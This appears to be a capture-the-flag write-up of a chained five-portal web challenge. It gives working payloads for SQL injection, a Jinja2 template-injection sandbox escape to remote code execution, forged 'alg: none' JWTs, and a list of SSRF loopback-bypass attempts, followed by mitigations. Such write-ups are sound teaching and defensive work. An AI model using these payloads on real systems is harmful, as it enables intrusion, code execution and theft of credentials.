Overview
Together 1: Gateway — a chain of 5 portals (8030→8031→8032→8033→8034). Each portal gives its flag and keys to the next.
Prerequisites / Setup
export TARGET="<challenge URL or IP>"
Recon — Stage 1: Gateway (Parts catalogue) — SOLVED
Goal: Perform SQL injection on the parts catalogue search endpoint.
The search endpoint builds its query by string concatenation:
SELECT id, name FROM parts WHERE name LIKE '%<input>%'
(SQLite — confirmed by error message on a raw quote.)
SQL injection via UNION:
q = %' UNION SELECT k,v FROM secrets --
Dumped the secrets(k, v) table:
| k | v |
|---|---|
| stage1_flag | FLAG{REDACTED} |
| portal2_user | mailer_svc |
| portal2_pass | Sp00l-M4il-2026 |
| portal2_url | hxxp://localhost:8031 |
Keys to Stage 2 obtained.
Exploitation — Stage 2: Mailer (SSTI → RCE) — SOLVED
Goal: Sign in as mailer_svc / Sp00l-M4il-2026 and exploit SSTI on the preview endpoint.
Signed in with mailer_svc / Sp00l-M4il-2026 at POST /api/login.
The POST /api/preview endpoint renders templates with render_template_string(tpl) → Server-Side Template Injection (Jinja2). {{7*7}} → 49.
Sandbox escape via the cycler jinja2 utility:
{{ cycler[.]__init__[.]__globals__[.]__builtins__[.]__import__("os")[.]popen('id')[.]read() }}
→ uid=999(app) gid=999(app) — full RCE.
__builtins__.__import__("os") was directly accessible (also os in globals). Read the environment:
| Var | Value |
|---|---|
| FLAG | FLAG{REDACTED} |
| NEXT_URL | hxxp://localhost:8032 |
| NEXT_USER | vault_op |
| NEXT_PASS | V4ult-K3ep3r-77 |
Keys to Stage 3 obtained.
Step 3 — Vault (JWT none alg confusion) — SOLVED
Goal: Sign in as vault_op / V4ult-K3ep3r-77 and forge an admin token using JWT alg: none.
Signed in with vault_op / V4ult-K3ep3r-77 at POST /api/login. Returned JWT:
{"user":"vault_op","role":"viewer"} (HS256)
GET /api/records requires role=admin; viewer gets admin role required.
Forged admin token using JWT alg: none:
{"alg":"none","typ":"JWT"}[.]{"user":"vault_op","role":"admin"}[.]
Accepted by the server. GET /api/records returned:
| Field | Value |
|---|---|
| stage3_flag | FLAG{REDACTED} |
| portal4_user | fetch_svc |
| portal4_pass | F3tch-Pr0xy-9x |
| portal4_url | hxxp://localhost:8033 |
| vault | unlocked |
Keys to Stage 4 obtained.
Step 4 — Fetcher (SSRF) — BLOCKED BY ENVIRONMENT
Goal: Use SSRF to reach the loopback-restricted /internal/handoff.
Signed in with fetch_svc / F3tch-Pr0xy-9x at POST /api/login.
POST /api/fetch {"url":"..."} — server-side request fetch. Confirmed working (fetched example.com, metadata service 169[.]254[.]169[.]254, other chal2 ports via public hostname).
The valuable target is GET /internal/handoff, which returns Stage 4’s flag + Stage 5 creds, but it enforces:
request[.]remote_addr must be loopback
Direct access from my IP → 403 {"error":"handoff is restricted to loopback","seen_from":"102[.]214[.]72[.]50"}.
Blocker: The fetcher’s egress firewall drops all loopback (127.0.0.0/8) and RFC1918 traffic (connection timeout). Every loopback bypass failed:
127[.]0[.]0[.]1,localhost,localtest[.]me,ipv4[.]localhost,[::1], octal/hex/decimal IP forms,@-userinfo,%0a, trailing dots,hxxps://,0[.]0[.]0[.]0,[::]- Public redirectors (httpbin blocks internal targets; Google/DDG/jina return errors/403)
The fetcher CAN reach the public hostname (chal2[.]hackathon[.]ke:8033/internal/handoff), but that arrives with a public remote_addr → 403.
Result: Stage 4 flag + Stage 5 creds are in /internal/handoff, unreachable via SSRF in this environment.
Flag / Flags Obtained
| Stage | Portal | Flag |
|---|---|---|
| 1 | Gateway (8030) | FLAG{REDACTED} |
| 2 | Mailer (8031) | FLAG{REDACTED} |
| 3 | Vault (8032) | FLAG{REDACTED} |
| 4 | Fetcher (8033) | (blocked — loopback SSRF dropped by egress FW) |
| 5 | Core (8034) | (blocked — needs Stage 4 creds) |
3 of 5 flags captured. Stages 4–5 require reaching the loopback-restricted /internal/handoff via the fetcher SSRF, which the environment’s egress firewall prevents.
Lessons / Takeaways
- SQL injection via string concatenation still works in SQLite portals; UNION-based extraction dumps secret tables.
- Jinja2
render_template_stringwith user input is SSTI; thecyclersandbox escape gives RCE. - JWT
alg: noneis trivially forgeable — enforce algorithm allow-lists server-side. - SSRF to loopback is often blocked by egress firewalls; confirm before planning a chain.
Mitigations
- Use parameterised queries to prevent SQL injection.
- Never render user input with
render_template_string; use template variables and sandboxing. - Enforce JWT algorithm allow-lists; reject
alg: none. - Do not rely on loopback-only access control for SSRF-prone endpoints; add proper authentication/authorisation.
Techniques
- SQL Injection
- Server-Side Template Injection
- JWT None Algorithm
- Server-Side Request Forgery
References
- OWASP Top 10 2021: https://owasp.org/Top10/

